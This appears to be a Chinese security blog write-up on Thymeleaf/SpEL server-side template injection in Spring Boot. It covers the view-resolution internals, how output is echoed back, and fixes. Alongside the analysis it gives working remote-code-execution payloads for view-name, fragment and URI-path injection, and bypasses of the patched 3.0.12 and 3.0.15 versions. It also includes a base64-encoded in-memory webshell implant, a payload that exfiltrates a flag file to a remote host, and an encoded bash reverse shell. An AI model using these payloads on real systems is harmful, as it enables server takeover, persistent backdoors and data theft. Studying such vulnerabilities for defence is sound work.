前言
趁热打铁,昨天刚学完 thymeleaf 引擎今天直接上注入(其实应该先看 SPEL 表达式注入再来学的)
参考:
https://www.anquanke.com/post/id/254519
https://exp10it.io/2023/02/%E5%AF%B9-thymeleaf-ssti-%E7%9A%84%E4%B8%80%E7%82%B9%E6%80%9D%E8%80%83/
https://www.cnpanda.net/sec/1063.html
https://justdoittt.top/2024/03/24/Thymeleaf%E6%BC%8F%E6%B4%9E%E6%B1%87%E6%80%BB/index.html
以这个项目进行漏洞复现: https://github.com/veracode-research/spring-view-manipulation
环境:jdk1.8 + springboot 2.2.0 +thymeleaf 3.0.11
根据可控内容的不同,注入的方式也不一样
与 SPEL 的关系
- Thymeleaf 是一个通用的 Java 模板引擎。它默认自带的表达式语言是 OGNL
- SpEL 是 Spring 生态中用于动态求值、查询和操作对象的表达式语言
当你在 Maven 中引入 spring-boot-starter-thymeleaf 时,Spring Boot 的自动装配机制会做一件事:它会把 Thymeleaf 默认的解析器(StandardDialect / OGNL)替换成 Spring 定制的解析器(SpringStandardDialect)
于是 Thymeleaf 模板中所有 ${…} 或 *{…} 里面的内容,都不再由 Thymeleaf 自己处理,而是全部外包给 Spring 的 SpEL 去执行。
以这个 payload 为例:
[[${T(java.lang.Runtime).getRuntime().exec('calc')}]]
Thymeleaf 引擎先扫描这段字符串:
- 它看到了
[[和]](内联语法),知道这里面要动态输出文本。 - 它看到了
${和}(变量表达式),知道括号里面的内容需要被计算。 - 然后把剥离出来的纯字符串
T(java.lang.Runtime).getRuntime().exec('calc')打包给底层的 SpEL 引擎。
于是这个类型表达式 T() 的部分就是 SPEL 注入的内容了
控制视图名
原理
SpringMVC 视图解析过程分析
下断点直接定位到DispatcherServlet#doDispatch方法(所有的request和response都会经过该方法)
开始调试,传入/path?lang=en

首先获取到了Handler消息处理,之后进入doDispatch方法的实现,这里重点注意下下面3个方法
ha.handle(),获取ModelAndView也就是Controller中的return值applyDefaultViewName(),对当前ModelAndView做判断,如果为null则进入defalutViewName部分处理,将URI path作为mav的值processDispatchResult(),处理视图并解析执行表达式以及抛出异常回显部分处理

封装ModelAndView对象
先跟进到ha.handle()
调用了 /org/springframework/web/servlet/mvc/method/AbstractHandlerMethodAdapter.class #handleInternal

然后继续跟,一路来到调用invokeHandlerMethod方法,这里就是使用Handler处理request并获取ModelAndView

跟进invokeHandlerMethod到调用invokeAndHandle

跟进invokeAndHandle

可以看到这里做了如下操作:
invokeForRequest会调用Controller后获取返回值到returnValue中这里的controller是HelloController.java
@GetMapping("/path") public String path(@RequestParam String lang) { return "user/" + lang + "/welcome"; //template path is tainted }判断
returnValue是否为空,如果是则继续判断isRequestHandled是否为True,都满足的话设置requestHandled为true通过
handleReturnValue根据返回值的类型和返回值将不同的属性设置到ModelAndViewContainer中
总结一下,就是根据用户输入的url,调用相关的controller,并将其返回值returnValue,作为待查找的模板文件名,然后通过Thymeleaf模板引擎去查找,并返回给用户

可以看到经过了invokeForRequest处理后return的字符串和前后缀拼接在了一起,然后在templates目录下寻找模板文件,这里找的就是templates/user/en/welcome.html
接下来跟到handleReturnValue方法
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
//获取handler
HandlerMethodReturnValueHandler handler = this.selectHandler(returnValue, returnType);
if (handler == null) {
throw new IllegalArgumentException("Unknown return value type: " + returnType.getParameterType().getName());
} else {
//执行handleReturnValue操作
handler.handleReturnValue(returnValue, returnType, mavContainer, webRequest);
}
}
然后进ViewNameMethodReturnValueHandler#handleReturnValue:
- 判断返回值类型是否为字符型,设置
mavContainer.viewName - 判断返回值是否以
redirect:开头,如果是的话则设置重定向的属性
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
if (returnValue instanceof CharSequence) {
String viewName = returnValue.toString();
//设置返回值为viewName
mavContainer.setViewName(viewName);
//判断是否需要重定向
if (this.isRedirectViewName(viewName)) {
mavContainer.setRedirectModelScenario(true);
}
} else if (returnValue != null) {
throw new UnsupportedOperationException("Unexpected return type: " + returnType.getParameterType().getName() + " in method: " + returnType.getMethod());
}
}
通过上面的操作,将返回值设置为mavContainer.viewName
执行上述操作后返回到RequestMappingHandlerAdapter#invokeHandlerMethod中。通过getModelAndView获取ModelAndView对象

getModelAndView根据viewName和model创建ModelAndView对象并返回

接下来跟进到applyDefaultViewName方法
如果 ModelAndView 值不为null则什么也不做,否则如果defaultViewName存在值则会给 ModelAndView 赋值为 defaultViewName,也就是将 URI path 作为视图名称

获取视图
接下来跟进到processDispatchResult,获取到ModelAndView值后会进入到processDispatchResult方法
第1个if会被跳过,跟进第2个if中的render方法

在render方法中,首先会调用getViewName来获取mv对象的viewName

然后调用resolveViewName方法

循环遍历所有视图解析器解析视图,解析成功则返回,可以看到右下角这里有5个视图解析器
本以为会在ThymeleafViewResolver中获取视图,实际调试发现这里在ContentNegotiatingViewResolver中就已经获取到了视图
ContentNegotiatingViewResolver视图解析器允许使用同样的数据获取不同的View,支持三种方式:
使用扩展名:
http://localhost:8080/employees/nego/Jack.xml
返回结果为XML
http://localhost:8080/employees/nego/Jack.json
返回结果为JSON
http://localhost:8080/employees/nego/Jack
使用默认view呈现,比如JSPHTTP Request Header中的Accept:Accept 分别是
text/jsp,text/pdf,text/xml,text/json和无Accept请求头使用参数:
http://localhost:8080/employees/nego/Jack?format=xml
返回结果为XML
http://localhost:8080/employees/nego/Jack?format=json
返回结果为JSON
接下来跟进到ContentNegotiatingViewResolver#resolveViewName方法

getCandidateViews循环调用所有的ViewResolver解析视图,解析成功放到视图列表中返回。同样也会根据Accept头得到后缀并通过ViewResolver解析视图


接下来进入getBestView,根据Accept头获取最优的视图返回

最终返回的是ThymeleafView

视图渲染
下一步是调用render方法

进入ThymleafView#render,接下来就是调用renderFragment**,这里就是漏洞触发的关键点之一了

该方法在后面首先判断viewTemplateName是否包含::,若包含则获取解析器
然后调用parseExpression方法将viewTemplateName(也就是Controller中最后return的值)构造成片段表达式~{})并解析执行

因为我们这边的 viewTemplateName 为 user/en/welcome,所以不会进入parseExpression
回显原理
这种回显的本质其实是 throw 某个会包含表达式执行结果的异常,而在低版本的 springboot (<= 2.2) 中, server.error.include-message 的默认值为 always,这使得默认的 500 页面会显示异常信息
但是在高版本的 springboot (>= 2.3) 中, 上述选项的默认值变成了 never, 那么 500 页面就不会显示任何异常信息,所以这种回显形式还是会有一定的局限性
漏洞复现
相关语法
在Thymeleaf 3.x 版本后,新增了~{...}片段表达式,而出现SSTI问题的主要原因也在于此
复习一下语法:
~{templatename::selector}**,会在/WEB-INF/templates/目录下寻找名为templatename的模版中定义的fragment
如有一个 html 文件的代码如下:
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<body> <div th:fragment="banquan"> © 2021 ThreeDream yyds</div>
</body>
</html>
然后在另一template中可以通过片段表达式引用该片段:
<div th:insert="~{footer :: banquan}"></div>
th:insert和th:replace插入片段是比较常见的用法
~{templatename}**:引用整个templatename模版文件作为fragment~{::selector}或~{this::selector}**:引用来自同一模版文件名为selector的fragmnt。在这里,selector可以是通过th:fragment定义的片段,也可以是类选择器、ID选择器等- 当
~{}片段表达式中出现::,那么::后需要有值(也就是selector)
Thymeleaf中的预处理表达式:__${expression}__,因为预处理也可以解析执行表达式,也就是说找到一个可以控制预处理表达式的地方,让其解析执行我们的payload即可达到任意代码执行
现在切入正题

看这里的/path路由:
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
乍一看只是一个语言选择的参数lang,但是这里采用的是 thymeleaf 模板,就出现了问题
在springboot + thymeleaf 中,如果视图名可控,就会导致漏洞的产生。其主要原因就是在控制器中执行 return 后,Spring 会自动调度 Thymeleaf 引擎寻找并渲染模板,在寻找的过程中,会将传入的参数当成SpEL表达式执行,从而导致了远程代码执行漏洞。
而这里的视图名,就是lang参数,当我们传入参数值en的时候,会正常渲染这里的en/welcome.html
接下来跟一下这个视图解析的过程,其实大部分都是MVC对request的处理流程,在MVC中是DispatcherServlet拦截请求并分发到Handler处理
templatename
漏洞代码:
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
打入payload:
/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x
PS:因为这里最后return的值为user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x/welcome,无论我们payload如何构造最后都会拼接/welcome,所以根据前面分析即使不加.x依然可以触发命令执行
然后继续前面的分析,这样就进入了parseExpression

在StandardExpressionParser#parseExpression中
通过preprocess进行预处理,预处理根据该正则\\_\\_(.*?)\\_\\_提取__xx__间的内容

获取expression

可以看到这里返回的expression已经是一个SPEL表达式了
最终调用execute方法,执行表达式

于是就弹出计算器了,同时抛出错误

所以这个漏洞的本质是SPEL表达式执行
selector
对于~{templatename::selector},因为前面是在templatename的位置注入表达式,那么我们同样也可以在selector处进行注入
漏洞代码:
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}
payload:
/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
其实这里也可以不需要.x和::也可触发命令执行
值得注意的是,templatename和selector这两个地方的注入点不同会导致有无回显的差别,即最后抛出异常,templatename是存在结果回显的而找不到selector不存在结果回显


原因是最终抛出 TemplateInputException 异常的时候携带的是 template,也就是 :: 前面的内容,并没有带出 selector,详情看下面的回显分析

URI path
漏洞代码:
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
payload:
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
前面提过,在 applyDefaultViewName 方法处对当前 ModelAndView 做判断,如果为 null 则进入 defalutViewName 部分处理,将 URI path 作为 mav 的值即作为视图名称
所以我们直接在{document}位置传入payload,能直接弹计算器
但是当我们尝试执行 whoami 时,并没有产生回显,而是原封不动输出了我们的payload

这是因为这个controller没有返回值,也不能有返回值,否则就不会调用applyDefaultViewName设置,如果我们的controller改成下面这样,将不会导致代码执行
@GetMapping("/doc/{document}")
public String getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document);
return "welcome";
}
构造回显
templatename部分可控,没回显的原因在于defaultView中对URI path的处理,为了解决这个问题,我们可以在payload的最后加两个.
payload:
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::..
需要注意的是::必须放在后面,放在前面虽然可以执行命令,但是没有回显,类似于templatename和selector的区别
造成这个问题的地方在StandardExpressionParser#parseExpression,在preprocess预处理结束后还会再走Expression.parse进行一次解析,这里如果解析失败则不会回显
现在来使用::.x结尾的payload:

可以看到这里::后面是没有内容的,因此解析后expression的值为null,所以最终会抛出IllegalArgumentException异常,携带的异常信息只包含了我们输入的内容, 并没有命令的回显

而使用::..结尾的payload:

这一步是正常解析出了expression,值变成 FragmentExpression
之后返回到 ThymeleafView#renderFragment 方法, 往下会将表达式执行结果作为 templateName,并提取出 :: 后面的内容作为 selector
然后调用 viewTemplateEngine.process()


跟进 TemplateManager#resolveTemplate

templateResolver 负责在 classpath (prefix) 下依据 template (name) 和 suffix 寻找对应的模板文件
这里肯定是找不到的, 所以会抛出 TemplateInputException 异常, 但是这个异常会带出 tempate 名称并最终显示在 500 页面中, 因此达到了回显的效果

分析
现在分析一下为什么::.x会被去掉:
在分析URI PATH这种方式能获取ModelAndView的原因时,我们分析过在applyDefaultViewName中获取URI Path作为ModelAndView的name,这个操作在DefaultRequestToViewNameTranslator#getViewName中完成



@Override
public String getViewName(HttpServletRequest request) {
String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
return (this.prefix + transformPath(lookupPath) + this.suffix);
}
getLookupPathForRequest仅仅获取了请求的地址并没有对后面的.x做处理,处理主要是在transformPath中完成的

@Nullable
protected String transformPath(String lookupPath) {
String path = lookupPath;
if (this.stripLeadingSlash && path.startsWith(SLASH)) {
path = path.substring(1);
}
if (this.stripTrailingSlash && path.endsWith(SLASH)) {
path = path.substring(0, path.length() - 1);
}
if (this.stripExtension) {
path = StringUtils.stripFilenameExtension(path);
}
if (!SLASH.equals(this.separator)) {
path = StringUtils.replace(path, SLASH, this.separator);
}
return path;
}

stripFilenameExtension会去除最后一个.后的内容,所以可以通过下面的方式绕过
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()%7d__::assadasd.asdas
总之就是让::后面有内容才能实现回显
修复
配置ResponseBody或RestController注解
@GetMapping("/doc/{document}")
@ResponseBody
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
配置了ResponseBody注解后,在applyDefaultViewName中ModelAndView是Null而非ModelAndView对象,所以hasView()会导致异常,不会设置视图名
原因是设置了ResponseBody注解后,handler返回的是RequestResponseBodyMethodProcesser,所以这里会调用它的handleReturnValue,设置了RequestHandled属性为True
此方法也适用于templatename,在设置了RequestHandled属性后,ModelAndView一定会返回Null
这样 spring 框架就不会将其解析为视图名,而是直接返回,不再调用模板解析
通过redirect:
根据springboot定义,如果名称以
redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
return "redirect:" + url; //FP as redirects are not resolved as expressions
}
方法参数中设置HttpServletResponse 参数
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document);
}
由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析
其它姿势
::位置
::__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d__
省略__
当Controller如下配置时,可以省略__包裹
@RequestMapping("/path")
public String path2(@RequestParam String lang) {
return lang; //template path is tainted
}
即去掉了前后缀
payload:
$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22).getInputStream()).next()%7d::.x
高版本下的bypass
在 3.0.12 版本,Thymeleaf 在 util 目录下增加了一个名为 SpringStandardExpressionUtils.java 的文件
当调用表达式的时候,会经过该函数的判断:
public static boolean containsSpELInstantiationOrStatic(final String expression) {
final int explen = expression.length();
int n = explen;
int ni = 0; // index for computing position in the NEW_ARRAY
int si = -1;
char c;
while (n-- != 0) {
c = expression.charAt(n);
if (ni < NEW_LEN
&& c == NEW_ARRAY[ni]
&& (ni > 0 || ((n + 1 < explen) && Character.isWhitespace(expression.charAt(n + 1))))) {
ni++;
if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) {
return true; // we found an object instantiation
}
continue;
}
if (ni > 0) {
n += ni;
ni = 0;
if (si < n) {
// This has to be restarted too
si = -1;
}
continue;
}
ni = 0;
if (c == ')') {
si = n;
} else if (si > n && c == '('
&& ((n - 1 >= 0) && (expression.charAt(n - 1) == 'T'))
&& ((n - 1 == 0) || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) {
return true;
} else if (si > n && !(Character.isJavaIdentifierPart(c) || c == '.')) {
si = -1;
}
}
return false;
}
可以看到其主要逻辑是:首先倒序检测是否包含 wen 关键字、在 ( 的左边的字符是否是 T,如包含,那么认为找到了一个实例化对象,返回 true,阻止该表达式的执行
因此要绕过这个函数,只要满足三点:
1、表达式中不能含有关键字 new:大小写即可绕过
2、在 ( 的左边的字符不能是 T
3、在 T 和 ( 中间添加的字符不能使原表达式出现问题
满足后两点的字符有 %20,%0a,%09
最终payload:
__${nEw java.util.Scanner(T (java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
注意:命令执行的 payload 中不能出现 /,否则会当作路由处理
内存马:这里使用了 org.springframework.util.Base64Utils.encodeToUrlSafeString() 来处理 /
__${T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("yv66vgAAADQAoQoACQBRCABSCgBTAFQIAFUKAFMAVgoACQBXCAAzBwBYBwBZBwBaCgAIAFsKAAoAXAcAXQgANQcAXgoACABfBwBgCABhCgARAGIHAGMHAGQKABQAZQcAZgoAFwBnCgANAFEKAAoAaAgAaQcAagoAHABrCABsCQBtAG4KAG8AcAcAcQoAcgBzCgAhAHQIAHUKACEAdgoAIQB3BwB4CQB5AHoKACcAewEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTFNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGw7AQAIZG9JbmplY3QBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEAD3JlZ2lzdGVyTWFwcGluZwEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXhlY3V0ZUNvbW1hbmQBABhwYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BAEhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjsBABdtZXRob2RzUmVxdWVzdENvbmRpdGlvbgEATkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uOwEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAP0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBABxyZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nAQASTGphdmEvbGFuZy9PYmplY3Q7AQADbXNnAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAWQcAXgcAagEAEE1ldGhvZFBhcmFtZXRlcnMBAD0oTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7AQADY21kAQAKZXhlY1Jlc3VsdAEACkV4Y2VwdGlvbnMHAHwBACJSdW50aW1lVmlzaWJsZVBhcmFtZXRlckFubm90YXRpb25zAQA2TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0UGFyYW07AQAFdmFsdWUBAApTb3VyY2VGaWxlAQAhU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbC5qYXZhDAAqACsBAAxpbmplY3Qtc3RhcnQHAH0MAH4AfwEACGNhbGMuZXhlDACAAIEMAIIAgwEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAIQAhQwAhgCHAQAcU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbAEAEGphdmEvbGFuZy9TdHJpbmcMAIgAhQEARm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BAAIvKgwAKgCJAQBMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RNZXRob2RzUmVxdWVzdENvbmRpdGlvbgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kDAAqAIoBAD1vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDAAqAIsMAIwAjQEADmluamVjdC1zdWNjZXNzAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAjgArAQAMaW5qZWN0LWVycm9yBwCPDACQAJEHAJIMAJMAlAEAEWphdmEvdXRpbC9TY2FubmVyBwCVDACWAJcMACoAmAEAAlxBDACZAJoMAJsAnAEAJ29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eQcAnQwAngCfDAAqAKABABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAEWdldERlY2xhcmVkTWV0aG9kAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAOyhbTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kOylWAQH2KExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL0hlYWRlcnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vQ29uc3VtZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdENvbmRpdGlvbjspVgEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQAUKClMamF2YS9sYW5nL1N0cmluZzsBACNvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1cwEAAk9LAQAlTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzOwEAOihMamF2YS9sYW5nL09iamVjdDtMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7KVYAIQANAAkAAAAAAAMAAQAqACsAAQAsAAAALwABAAEAAAAFKrcAAbEAAAACAC0AAAAGAAEAAAAMAC4AAAAMAAEAAAAFAC8AMAAAAAkAMQAyAAIALAAAAXEACQAHAAAApBICTLgAAxIEtgAFVyq2AAYSBwa9AAhZAxIJU1kEEglTWQUSClO2AAtNLAS2AAwSDRIOBL0ACFkDEg9TtgAQTrsAEVkEvQAPWQMSElO3ABM6BLsAFFkDvQAVtwAWOgW7ABdZGQQZBQEBAQEBtwAYOgYsKga9AAlZAxkGU1kEuwANWbcAGVNZBS1TtgAaVxIbTKcAEk0stgAdEh5MsgAfLLYAICuwAAEAAwCQAJMAHAADAC0AAABCABAAAAAOAAMAEAAMABEAKQASAC4AEwA_ABQAUQAVAF4AFgBwABcAjQAYAJAAHQCTABkAlAAaAJgAGwCbABwAogAeAC4AAABSAAgAKQBnADMANAACAD8AUQA1ADQAAwBRAD8ANgA3AAQAXgAyADgAOQAFAHAAIAA6ADsABgCUAA4APAA9AAIAAACkAD4APwAAAAMAoQBAAEEAAQBCAAAAEwAC_wCTAAIHAEMHAEQAAQcARQ4ARgAAAAUBAD4AAAABADUARwAEACwAAABoAAQAAwAAACa7ACFZuAADK7YABbYAIrcAIxIktgAltgAmTbsAJ1kssgAotwApsAAAAAIALQAAAAoAAgAAACMAGgAkAC4AAAAgAAMAAAAmAC8AMAAAAAAAJgBIAEEAAQAaAAwASQBBAAIASgAAAAQAAQBLAEYAAAAFAQBIAAAATAAAAAwBAAEATQABAE5zAEgAAQBPAAAAAgBQ"),nEw javax.management.loading.MLet(NeW java.net.URL("http","127.0.0.1","1.txt"),T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))}__::main.x
2.x版本
片段表达式 ~{ }这个特性是在 3.0 版本引入的,但是其实 2.x 版本也能触发漏洞
同样存在 preprocess 方法来处理预处理表达式
对于不含预处理表达式的 payload, 同样能够执行, 只是位置不太一样
其它的 payload
__${new java.util.Scanner(T(String).getClass().forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).getClass().forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x
__${new java.util.Scanner(Class.forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x
"n"+"ew java.net.URL('http://192.168.65.254:23333/?flag='+(T"+"(java.util.Base64).getEncoder().encodeToString(T"+"(java.nio.file.Files).readAllBytes(T"+"(java.nio.file.Paths).get('/flag.txt'))))).openConnection().getContent()"
控制模板内容
基础
Thymeleaf 中的预处理表达式可以处理 SpEL 表达式,从而如果我们可以控制 Thymeleaf 渲染的模板内容,就可以执行 java 代码
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.thymeleaf.TemplateEngine;
import org.thymeleaf.context.Context;
import org.thymeleaf.spring5.SpringTemplateEngine;
@RestController
public class TemplController {
@GetMapping("/render")
public String renderTemplate(@RequestParam(defaultValue = "<h1>Hello</h1>") String content) {
Context context = new Context();
context.setVariable("user", "CTFer");
TemplateEngine engine = new SpringTemplateEngine();
String result = engine.process(content, context);
return result;
}
}
这里的模板内容可以有两种形式,一种是 html 标签的写法:
<p>Welcome, <span th:text="${user}">John Doe</span>!</p>
另一种写法是直接使用 thymeleaf 的文本内联语法:
<p>Welcome, [[${user}]]!</p>
都可以实现同样的效果:

利用
文件读取:
<p th:text="${T(java.util.Arrays).toString(T(java.io.File).listRoots()[0].list())}"></p>
<p th:text="${T(java.io.File).readAllLines(T(java.nio.files.Paths).get('/'.concat(T (java.io.File).listRoots()[0].list()[19]))).get(0)}"></p>
// 根据文件索引值读取文件
无回显 rce payload:
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('id')}"></a>
高版本 bypass
3.0.15 版本,来自于 rwctf2024
[[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('whoami')").getValue()}]]
或者
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzI5OTk5IDA+JjE=}|{base64,-d}|{bash,-i}')}" th:title='pepito'>
或者
[[${springMacroRequestContext.webApplicationContext.beanFactory.createBean(springMacroRequestContext.webApplicationContext.classLoader.loadClass('org.springframework.expression.spel.standard.SpelExpressionParser')).parseExpression("T(java.lang.Runtime).getRuntime().exec('open -a calculator')").getValue()}]]